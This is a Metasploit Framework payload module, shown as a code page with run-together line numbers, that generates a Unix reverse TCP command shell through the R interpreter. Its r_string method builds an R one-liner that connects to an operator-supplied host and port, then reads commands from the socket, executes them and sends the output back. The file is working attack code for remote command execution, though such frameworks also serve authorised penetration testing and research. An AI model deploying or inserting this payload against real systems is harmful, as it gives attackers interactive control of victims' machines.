Path: blob/master/modules/payloads/singles/cmd/unix/reverse_r.rb
21551 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 15778include Msf::Payload::Single9include Msf::Payload::R10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Unix Command Shell, Reverse TCP (via R)',17'Description' => 'Connect back and create a command shell via R',18'Author' => [ 'RageLtMan <rageltman[at]sempervictus>' ],19'License' => MSF_LICENSE,20'Platform' => 'unix',21'Arch' => ARCH_CMD,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'cmd',25'RequiredCmd' => 'R',26'Payload' => { 'Offsets' => {}, 'Payload' => '' }27)28)29register_advanced_options(30[31OptString.new('RPath', [true, 'The path to the R executable', 'R'])32]33)34end3536def generate(_opts = {})37return prepends(r_string)38end3940def prepends(r_string)41return "#{datastore['RPath']} -e \"#{r_string}\""42end4344def r_string45lhost = Rex::Socket.is_ipv6?(datastore['LHOST']) ? "[#{datastore['LHOST']}]" : datastore['LHOST']46return "s<-socketConnection(host='#{lhost}',port=#{datastore['LPORT']}," \47"blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" \48'(pipe(readLines(s, 1))),s)}'49end50end515253